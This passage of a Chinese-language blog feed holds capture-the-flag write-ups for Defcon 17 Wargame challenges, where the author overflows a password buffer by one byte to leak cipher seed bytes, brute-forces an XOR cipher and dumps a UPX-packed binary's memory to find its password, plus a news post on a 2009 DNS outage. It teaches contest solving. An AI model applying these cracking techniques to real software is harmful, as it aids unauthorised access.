What is your name? 時，隨便亂輸入 1234567890，最後出現如下圖:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0YfjKJKbxjI0JI2fPXV7EPPQE11CWiXxoDHc5rlw2pcmLUHkv50qePN9tF1px1oIPKPArRU3nYltZEhxw3U4I3PNtO2ZErwk75bal4LSkTF6FjG7MhnlogwCATQZLs1oipjFVUDVRQ24/s1600-h/crypto_400_3.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 53px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0YfjKJKbxjI0JI2fPXV7EPPQE11CWiXxoDHc5rlw2pcmLUHkv50qePN9tF1px1oIPKPArRU3nYltZEhxw3U4I3PNtO2ZErwk75bal4LSkTF6FjG7MhnlogwCATQZLs1oipjFVUDVRQ24/s320/crypto_400_3.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5350194318101408674&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;要求解出該加密過的字串，該加密字串的每一字元用 16 進制表示。&lt;br /&gt;接下來就不知要幹嘛，只好把原來的 FreeBSD執行檔，再來作分析，這一次改用工具 objdump 作反組譯(Disassemble)以及逆向工程(Reverse Engineering)，分析結果如下:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;為一對稱式加密法，先取得五個亂數數值，每個亂數值為 0~255 (0x00~0xff) 之間，再建立一個 256 字元的陣列，陣列中每個值介於 0 至255。利用此五個亂數數值為亂數種子，擴充成 256 個亂數數值，存於此陣列中。&lt;/li&gt;&lt;li&gt;利用簡單的 XOR 運算來加密，從明文中逐一取得字元，再從前面擴充成 256 個亂數陣列中，取一數值，來和明文的該字元 XOR，當明文的每一字元完成 XOR 後，即為密文。每次從 256 個亂數陣列中取值的方式則和明文字元的位置有關。&lt;/li&gt;&lt;li&gt;由於 XOR 的特性，若是把密文的每個字元和 Key 的每個字元作 XOR 就可以反解成明文。透過程式的逆向工程，可以知道加密演算法，甚至可以&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;直接取用相關計算函式&lt;/span&gt;。如此一來，我們只要猜測一開始亂數取得的五個亂數字元，就可以把 256 字元的亂數陣列值計算出來。&lt;/li&gt;&lt;li&gt;不過，若是嘗試寫程式用暴力法計算，五個亂數數值全部猜測，就要計算 256 的 5 次方，而且，如何判斷該亂數值是否猜測正確呢?&lt;/li&gt;&lt;li&gt;由於明文是從純文字檔內讀取 32 個字元，所以假設明文都是可顯示之字元(包含大小寫英文、符號及空白字元)，那就可以在暴力法每回解出明文時，掃瞄一次明文字元是否都為可顯示之字元，若是，就假設為明文字串，全部顯示出來。&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;這下就可以寫程式，計算 256 的 5 次方，求解明文了！但是這樣跑程式實在太慢了，就算試著用一些最佳化或分散運算的方式，仍然要等上很久。&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSo1uywCesXtKY4BHTSD2VUuEJHD7OT310_JfUq1ygqh677w0aylfdKy6PC6PzqM_svBiNyS6LVhX2p5ftXy-TNWonC6k26InT42BI9ipE-rRPBjbOmuSx-aDKvgwhg9Cxl7j-Xp0TBfA/s1600-h/R0010699.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 150px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSo1uywCesXtKY4BHTSD2VUuEJHD7OT310_JfUq1ygqh677w0aylfdKy6PC6PzqM_svBiNyS6LVhX2p5ftXy-TNWonC6k26InT42BI9ipE-rRPBjbOmuSx-aDKvgwhg9Cxl7j-Xp0TBfA/s200/R0010699.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5349090398257515170&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;span class=&quot;MailHeaderText&quot;&gt;&lt;br /&gt;回過頭來重新檢視之前的輸入輸出。當 Password: 提示出現時，輸入 chickenfingers，出現 What is your name? 時，則輸入 1234567890，最後出現如下圖:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0YfjKJKbxjI0JI2fPXV7EPPQE11CWiXxoDHc5rlw2pcmLUHkv50qePN9tF1px1oIPKPArRU3nYltZEhxw3U4I3PNtO2ZErwk75bal4LSkTF6FjG7MhnlogwCATQZLs1oipjFVUDVRQ24/s1600-h/crypto_400_3.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 53px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0YfjKJKbxjI0JI2fPXV7EPPQE11CWiXxoDHc5rlw2pcmLUHkv50qePN9tF1px1oIPKPArRU3nYltZEhxw3U4I3PNtO2ZErwk75bal4LSkTF6FjG7MhnlogwCATQZLs1oipjFVUDVRQ24/s320/crypto_400_3.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5350194318101408674&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;奇怪，1234567890 字串到 ? 字元出現的中間有一段空白，改用 hexedit 編輯看看:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisyf6Pjy30mK9Zn-xnRYTD0u0ziK0G2ZTp_2P-fZNRFad3TkoHEEG2JG68vbGm0isuPWNpwBlP3jDwDBuEwHKeMjfLfzScsdKGoOTv4OtTCHv0oWqnBFa02Jl91CIVFeF7M7khnOhH2rU/s1600-h/crypto_400_1.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 182px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisyf6Pjy30mK9Zn-xnRYTD0u0ziK0G2ZTp_2P-fZNRFad3TkoHEEG2JG68vbGm0isuPWNpwBlP3jDwDBuEwHKeMjfLfzScsdKGoOTv4OtTCHv0oWqnBFa02Jl91CIVFeF7M7khnOhH2rU/s400/crypto_400_1.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5350197848240812930&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;這樣就看清楚了，在 1234567890 字串後面，接了 6 個空白字元(0x20)，然後一個字元(0xCE)，再一個 : (0x3A)字元。這個 0xCE 字元，即為一開始取五個亂數值中的第一個數值。&lt;br /&gt;五個亂數值中，第一個數值已知，如此一來，就可以動手寫暴力破解程式，計算 256 的 4 次方，即可找出\x5f\x92\x84\xbc\xe\x16\xab\x2a\x92\x97\x63\x78\x06\x5f\xa1\x3a\xa3\xee\xa9\xc3\xee\x49\xea\xea\x92\x1a\x36\x2e\xa8\x7c\x28\x0cf 的明文。&lt;br /&gt;&lt;br /&gt;透過分散數台電腦來分批執行暴力破解程式，但仍然很慢，花了數個小時仍找不出明文字串。這時想到，原來的程式中，輸出的函式有兩組，另一組會輸出兩倍長度的字元。假若我可以改變程式流程，跳躍至另一組輸出函式，也許可以輸出五個亂數值中的前兩個數值，這樣就可以跑計算次數降為 256 的 3 次方。&lt;br /&gt;&lt;br /&gt;將所附的程式碼再重新反組譯，可以觀察出程式中有一個變數可以控制字元輸出的長度。該變數位在 -0x25(%ebp)，此變數值是由 -0x29(%ebp) 和 1 作 AND 運算後的結果，若此變數 -0x25(%ebp) 的值為 1 是，則會輸出兩倍長度的字元。&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfwuh6ate_Hw6AtYIPzh8lwysIPemsP6nERB7S0M52E28-R997qJtStX9hWvQUpkwF-567k84e1H811KXdG1MnnZjTo_IjBBNeyHSMzGXHgcm3deJ7XxkyoVgqVYPyvBkMfPPh7kG_n_s/s1600-h/crypto_400_4.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 351px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfwuh6ate_Hw6AtYIPzh8lwysIPemsP6nERB7S0M52E28-R997qJtStX9hWvQUpkwF-567k84e1H811KXdG1MnnZjTo_IjBBNeyHSMzGXHgcm3deJ7XxkyoVgqVYPyvBkMfPPh7kG_n_s/s400/crypto_400_4.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5350199140543698610&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;當 Password: 提示出現時，輸入 chickenfingersa (故意多打一個字元，造成 one byte 溢出)，出現 What is your name? 時，則輸入 ABCDEFGHIJKLMNOABCDEFGHIJKLMNO，最後出現如下圖:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKP16ZXb1oIfpae0AZd5CTlTwqdHdewie6Ty3gGMLD22jL4RQ65Mnt7v9GKjCIUsXkcpW-k0DWs_tBAeeaIpv0kuJBO82n04l3xlvFyJILVMRhtLG3skXjptsFj7TR_m8aJn7gP7SlvFI/s1600-h/crypto_400_5.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 67px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKP16ZXb1oIfpae0AZd5CTlTwqdHdewie6Ty3gGMLD22jL4RQ65Mnt7v9GKjCIUsXkcpW-k0DWs_tBAeeaIpv0kuJBO82n04l3xlvFyJILVMRhtLG3skXjptsFj7TR_m8aJn7gP7SlvFI/s400/crypto_400_5.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5350199859788038370&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc8nx38gs7pvGgAvPeDSa54_dREQ2rJTSliY5Ab415bqCMqTGFX3ybCeO8egln3vm63U776Ews-JClgBpT8q2ZuOEnMtfEjqyVCDtNU-PAGD82sSThVZgHz738UdJ6R3LwH5Yt6rqCdaM/s1600-h/crypto_400_2.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 230px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc8nx38gs7pvGgAvPeDSa54_dREQ2rJTSliY5Ab415bqCMqTGFX3ybCeO8egln3vm63U776Ews-JClgBpT8q2ZuOEnMtfEjqyVCDtNU-PAGD82sSThVZgHz738UdJ6R3LwH5Yt6rqCdaM/s400/crypto_400_2.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5350201815708360050&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;在 ABCDEFGHIJKLMNOABCDEFGHIJKLMNO 字串後面，接了 2 個換行字元(0x0A)，然後三個字元(0xD9、0xE2、0x00)，再接一個 : (0x3A)字元。其中 0xD9、0xE2 字元，即為一開始取五個亂數值中的前兩個數值。這樣一來跑暴力破解程式實在快多了，不到十秒就出現一組明文。&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwCDj_iRl9YmLneNlz3VfRYrVA7kMyCHTxqOa0Z1AN0Zv0bmWY7KAQ-YR53SYIieuZ2SZeXyGrKKVKmKthAA2bbIJjctHHJPU_e_f8w2iF_dMmYFG5w8Q4098Y53n9T42RkH4gxt9On9Y/s1600-h/crypto_400_8.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 148px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwCDj_iRl9YmLneNlz3VfRYrVA7kMyCHTxqOa0Z1AN0Zv0bmWY7KAQ-YR53SYIieuZ2SZeXyGrKKVKmKthAA2bbIJjctHHJPU_e_f8w2iF_dMmYFG5w8Q4098Y53n9T42RkH4gxt9On9Y/s400/crypto_400_8.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5350200198085028946&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;不過這明文怎麼看都不像啊！讓暴力破解程式繼續執行，很快地，又發現第二組明文啦。&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEDaAFYh42PSIX9q7uROYDORQprirqhwnyuJI7pDS8UwP9p-ZpZwvInCyoUNzYMBJp-yWY6jCTc2TnD_ClCoXMSideYXLILSCPvTq4bFqp4oaMhELr2TnhYIoouKS_JTXJvNQVbl7VIpo/s1600-h/crypto_400_7.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 96px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEDaAFYh42PSIX9q7uROYDORQprirqhwnyuJI7pDS8UwP9p-ZpZwvInCyoUNzYMBJp-yWY6jCTc2TnD_ClCoXMSideYXLILSCPvTq4bFqp4oaMhELr2TnhYIoouKS_JTXJvNQVbl7VIpo/s400/crypto_400_7.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5350200470041950754&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;賓果! 解出明文了！&lt;br /&gt;&lt;br /&gt;註: &lt;/span&gt;&lt;span class=&quot;MailHeaderText&quot;&gt;暴力破解程式的解密函式是&lt;/span&gt;&lt;span class=&quot;MailHeaderText&quot;&gt;直接從原程式作&lt;/span&gt;逆向工程後取用，變數處理要注意 signed/unsigned 的問題，否則從亂數陣列取值時會計算不正確。&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;MailHeaderText&quot;&gt;&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/4626258074671390368/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/4626258074671390368' title='3 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/4626258074671390368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/4626258074671390368'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2009/06/defcon17-wargame-cryptobadness-400.html' title='Defcon17 Wargame Crypto_Badness 400 解題過程'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyYlfJLiJOlEix1kcio27p3cZZrbELUpkmbdF7aJ8_USH2tVZ7k72KUv__8VnjjNX2Z7OqgfqLdbzn0SzCOQqMw5iat2msnRH1CG3JhohqCyG6lcNGlgX2rwUY7Z9iwxTLe5eJKQE2deY/s72-c/crypto_400_6.jpg" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-7553057069860880282</id><published>2009-06-10T21:59:00.000+08:00</published><updated>2009-06-10T22:54:26.523+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="defcon"/><category scheme="http://www.blogger.com/atom/ns#" term="wargame"/><title type='text'>Defcon 17 Wargame 競賽解題心得</title><content type='html'>上週末剛好是美國知名駭客大會 &lt;a href=&quot;http://www.defcon.org/&quot;&gt;Defcon 17&lt;/a&gt;  的 Wargame 外圍競賽期間。和往年一樣，這一次大夥又一塊聚在一起解題目，各展長才，不論是卡關卡的很痛苦、解謎解的快抓狂，或是終於解出答案的喜悅，總之我喜歡這樣的感覺。&lt;br /&gt;&lt;br /&gt;經過兩天的努力，成績差強人意，雖然還是未能打進前十名，但應該也有二十多名，在全球兩三百個團隊競賽下，也不算太差吧！這兩日我共解了兩題，一題 100 分，另一題 400 分，我打算把解法寫出來，和大家分享交流。&lt;br /&gt;&lt;br /&gt;這題是屬於 Binary_L33tness 的 100 分題目，題目很簡單，給一個檔案然後 &quot;Find the key&quot;，如圖:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOtjV3ABZpWl6jx7l5gqxGUw616FN52qpCD9Hvhc0HkcLDBO9QMjo7I1yAWP7_Zj8zax2zv-vLzdHp1D_kG1TRCK53fEELF9VkUskTcG6qkSK_KuSeOmXXf8I6cowRPippbbyHbd4kgXM/s1600-h/100.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 170px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOtjV3ABZpWl6jx7l5gqxGUw616FN52qpCD9Hvhc0HkcLDBO9QMjo7I1yAWP7_Zj8zax2zv-vLzdHp1D_kG1TRCK53fEELF9VkUskTcG6qkSK_KuSeOmXXf8I6cowRPippbbyHbd4kgXM/s320/100.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5345702359960389778&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;下載完檔案，第一步當然用 Linux 的 file 指令來判斷檔案型態囉！&lt;br /&gt;&lt;br /&gt;[timhsu@localhost 100]$ file 100.file&lt;br /&gt;100.file: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped&lt;br /&gt;&lt;br /&gt;此 100.file 檔為 Linux 的靜態執行檔，而且被 strip 過。不要怕，直接執行看看。&lt;br /&gt;&lt;br /&gt;[timhsu@localhost 100]$ ./100.file&lt;br /&gt;What is the password? 123&lt;br /&gt;I smack you down. Step off bitch.&lt;br /&gt;&lt;br /&gt;看來是要猜密碼耶。可以猜想一下，這個題目應該是密碼字串就在 Binary 執行檔裡，只要把檔案用 strings 指令來找這個字串，應該就是答案了。&lt;br /&gt;&lt;br /&gt;有這麼容易嗎? 哦！若是直接用 strings 指令，大概找不出什麼像答案的字串吧！來用 hexdump 把檔頭資料印出來瞧瞧。&lt;br /&gt;&lt;br /&gt;[timhsu@localhost 100]$ hexdump -C 100.file -n 256&lt;br /&gt;00000000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|&lt;br /&gt;00000010  02 00 03 00 01 00 00 00  e8 83 c0 00 34 00 00 00  |............4...|&lt;br /&gt;00000020  00 00 00 00 00 00 00 00  34 00 20 00 02 00 28 00  |........4. ...(.|&lt;br /&gt;00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 10 c0 00  |................|&lt;br /&gt;00000040  00 10 c0 00 d0 7b 00 00  d0 7b 00 00 05 00 00 00  |.....{...{......|&lt;br /&gt;00000050  00 10 00 00 01 00 00 00  1c 0e 00 00 1c 0e 05 08  |................|&lt;br /&gt;00000060  1c 0e 05 08 00 00 00 00  00 00 00 00 06 00 00 00  |................|&lt;br /&gt;00000070  00 10 00 00 01 99 69 2e  55 50 58 21 e6 07 0d 0c  |......i.&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;UPX!.&lt;/span&gt;...|&lt;br /&gt;00000080  00 00 00 00 a6 03 01 00  a6 03 01 00 14 01 00 00  |................|&lt;br /&gt;00000090  9a 00 00 00 02 00 00 00  63 3f 64 f9 7f 45 46 46  |........c?d..EFF|&lt;br /&gt;000000a0  01 00 02 00 03 00 0d 92  ff b7 d9 ee 04 08 34 06  |..............4.|&lt;br /&gt;000000b0  2c e5 17 0b 20 00 07 00  28 00 26 00 23 00 cf 3d  |,... ...(.&amp;amp;.#..=|&lt;br /&gt;000000c0  77 b1 06 0f 03 80 04 08  e0 0b 03 5a b3 69 9a 05  |w..........Z.i..|&lt;br /&gt;000000d0  04 03 14 01 81 1b 05 1b  ac fb 03 13 0f 13 1b 01  |................|&lt;br /&gt;000000e0  03 ef b5 9f 8b 00 3b 03  a4 5b 0a 03 3f cf b9 b1  |......;..[..?...|&lt;br /&gt;000000f0  d9 00 10 1f 13 eb 1b 03  50 d7 75 5f ec 78 22 00  |........P.u_.x&quot;.|&lt;br /&gt;&lt;br /&gt;檔頭裡發現關鍵字串 &quot;&lt;a href=&quot;http://upx.sourceforge.net/&quot;&gt;UPX&lt;/a&gt;&quot;，為一加殼程式，也就是說這個 Linux 執行檔被 UPX 加殼過，真正的檔案內容要在執行期間才會解開執行。直接用 upx 工具來作解殼動作，還原檔案內容。&lt;br /&gt;&lt;br /&gt;[timhsu@localhost 100]$ upx -vvv -d 100.file&lt;br /&gt;              Ultimate Packer for eXecutables&lt;br /&gt;                 Copyright (C) 1996 - 2008&lt;br /&gt;UPX 3.03        Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser   Apr 27th 2008&lt;br /&gt;&lt;br /&gt;File size         Ratio      Format      Name&lt;br /&gt;--------------------   ------   -----------   -----------&lt;br /&gt;upx: 100.file: Exception: checksum error&lt;br /&gt;&lt;br /&gt;Unpacked 1 file: 0 ok, 1 error.&lt;br /&gt;&lt;br /&gt;失敗！upx 工具的解殼動作出現 checksum error，所以無法解開。&lt;br /&gt;好吧，換個思維想想，既然加殼程式在執行期間會在記憶體還原原檔案內容，所以我們就可以試著在檔案執行時，把記憶體內容傾印出來。&lt;br /&gt;&lt;br /&gt;試著建立&lt;a href=&quot;http://en.wikipedia.org/wiki/Core_dump&quot;&gt; CoreDump&lt;/a&gt; 檔。&lt;br /&gt;&lt;br /&gt;[timhsu@localhost 100]$ ulimit -c unlimited&lt;br /&gt;[timhsu@localhost 100]$ ./100.file &amp;amp;&lt;br /&gt;What is the password? [1] 22488&lt;br /&gt;&lt;br /&gt;[1]+  Stopped                 ./100.file&lt;br /&gt;[timhsu@localhost 100]$ kill -11 22488&lt;br /&gt;[timhsu@localhost 100]$ ls&lt;br /&gt;100.file*&lt;br /&gt;[timhsu@localhost 100]$ ps&lt;br /&gt;PID TTY          TIME CMD&lt;br /&gt;22408 pts/4    00:00:00 bash&lt;br /&gt;22488 pts/4    00:00:00 100.file&lt;br /&gt;22490 pts/4    00:00:00 ps&lt;br /&gt;[timhsu@localhost 100]$ bg&lt;br /&gt;[1]+ ./100.file &amp;amp;&lt;br /&gt;[1]+  Segmentation fault      (core dumped) ./100.file&lt;br /&gt;&lt;br /&gt;CoreDump 建立成功！馬上用 strings 指令瞧瞧檔案內容。&lt;br /&gt;&lt;br /&gt;[timhsu@localhost 100]$ strings core.22488 | more&lt;br /&gt;...&lt;略&gt;...&lt;br /&gt;,[^_]&lt;br /&gt;[^_]&lt;br /&gt;What is the password?&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;visilooksgoodinhotpants&lt;/span&gt;&lt;br /&gt;, %d byte packets&lt;br /&gt;CWR ECN&lt;br /&gt;...&lt;略&gt;...&lt;br /&gt;/lib/i686&lt;br /&gt;libc.so.6&lt;br /&gt;What is the password?&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;rotection after relocation&lt;/span&gt;&lt;br /&gt;apic&lt;br /&gt;mtrr&lt;br /&gt;...&lt;略&gt;...&lt;br /&gt;[timhsu@localhost 100]$&lt;br /&gt;&lt;br /&gt;有兩組可能的密碼，試一下就知道。&lt;br /&gt;&lt;br /&gt;[timhsu@localhost 100]$ ./100.file&lt;br /&gt;What is the password? visilooksgoodinhotpants&lt;br /&gt;You&#39;re my daddy! See you at the hacker swinger&#39;s club next week.&lt;br /&gt;&lt;br /&gt;成功！這樣看來很簡單是吧?&lt;br /&gt;事實上，當時我是用幾年前自己寫的小工具 &lt;a href=&quot;http://timhsu.chroot.org/2003/06/dump2bin_30.html&quot;&gt;dump2bin&lt;/a&gt; 來傾印執行檔，後來才想到不必寫程式的 DumpCore 方法，也許有其它方法，大家可以動動腦筋。&lt;br /&gt;&lt;br /&gt;下回我將分享  Crypto_Badness 400 分的解題心得。</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/7553057069860880282/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/7553057069860880282' title='3 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/7553057069860880282'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/7553057069860880282'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2009/06/defcon17wargame.html' title='Defcon 17 Wargame 競賽解題心得'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOtjV3ABZpWl6jx7l5gqxGUw616FN52qpCD9Hvhc0HkcLDBO9QMjo7I1yAWP7_Zj8zax2zv-vLzdHp1D_kG1TRCK53fEELF9VkUskTcG6qkSK_KuSeOmXXf8I6cowRPippbbyHbd4kgXM/s72-c/100.jpg" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-3326476014873571596</id><published>2009-06-03T17:20:00.000+08:00</published><updated>2009-06-04T02:32:12.180+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ddos"/><category scheme="http://www.blogger.com/atom/ns#" term="dns"/><title type='text'>大陸 DNS 暴風門事件</title><content type='html'>上個月，在中國地區有個驚人的網路消息爆發，在 5/19 日時，大陸的 DNS 發生大規模的故障: 後來稱作 「暴風門」事件。&lt;br /&gt;&lt;br /&gt;「5月19日晚間訊息，來自廣州、杭州等地中國電信客服人員向新浪科技證實，這些地區的網路出現故障，致使用戶無法上網。從晚間九點開始，陸續有多位網友反映稱，包括廣州、山西網通、上海、浙江等地均出現了不同程度的DNS癱瘓故障。」--- 節錄自: &lt;a href=&quot;http://4i4u.com/blog/dns-baofeng-dnspod/&quot;&gt;http://4i4u.com/blog/dns-baofeng-dnspod/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;當時事件發生時，有網友猜測是 DNS 伺服器被黑客大規模 DDoS 攻擊，但這影響層面廣大是前所未聞。後來經過這陣子的調查，大家才了解事情的始末。&lt;br /&gt;&lt;br /&gt;在 5/18 日時，著名 DNS 服務廠商 DNSPod 的 6 台伺服器受到 DDoS 的攻擊，直到 5/19 日，DNSPod 承受不了如此大流量攻擊下，被迫停止 DNS 服務。但為何這樣幾台 DNS 伺服器下線，就會造成大規模的網路異常呢?&lt;br /&gt;&lt;br /&gt;這是因為，大陸地區最盛名的影音播放軟體 - 暴風影音，該公司的 DNS 服務就是由 DNS Pod 所提供的。因此，暴風影音播放器的用戶端無法解析出伺服器的 IP，開始不斷向網路供應商的 DNS 伺服器發送解析請求，造成 DNS 伺服器堵塞。據說，暴風影音的 1.5 億的客户端，其中約一半的客户端解析不到域名，令人詬病的是，暴風影音軟體會啟動自動連線程式，約每 15 秒連線暴風影音，若 DNS 查詢失敗則會不斷重試，因此，各地的客户端不停地發送 DNS Query (UDP 封包)，各地 ISP 的  DNS 伺服器也就連帶著被暴風影音的用戶 DDoS 了。&lt;br /&gt;&lt;br /&gt;相關消息及資料整理如下:&lt;br /&gt;&lt;br /&gt;1. &lt;a href=&quot;http://4i4u.com/blog/dns-baofeng-dnspod/&quot;&gt;5月19日大陸DNS發生大規模故障&lt;/a&gt;&lt;br /&gt;2. &lt;a href=&quot;http://doexcel.com/node/8165&quot;&gt;暴风影音DNS故障追踪：由24岁站长引发的蝴蝶效应&lt;/a&gt;&lt;br /&gt;3.&lt;a href=&quot;http://www.kenengba.com/post/1082.html&quot;&gt;暴风长老, 请收了神通吧!&lt;/a&gt;&lt;br /&gt;4.&lt;a href=&quot;http://www.itis.tw/node/2821&quot;&gt;大陸出現罕見網絡大癱瘓 網民不滿&lt;/a&gt;&lt;br /&gt;5.&lt;a href=&quot;http://www.itis.tw/node/2823&quot;&gt;大陸DNS大規模故障始末：網域服務商遭DDOS攻擊&lt;/a&gt;&lt;br /&gt;6.&lt;a 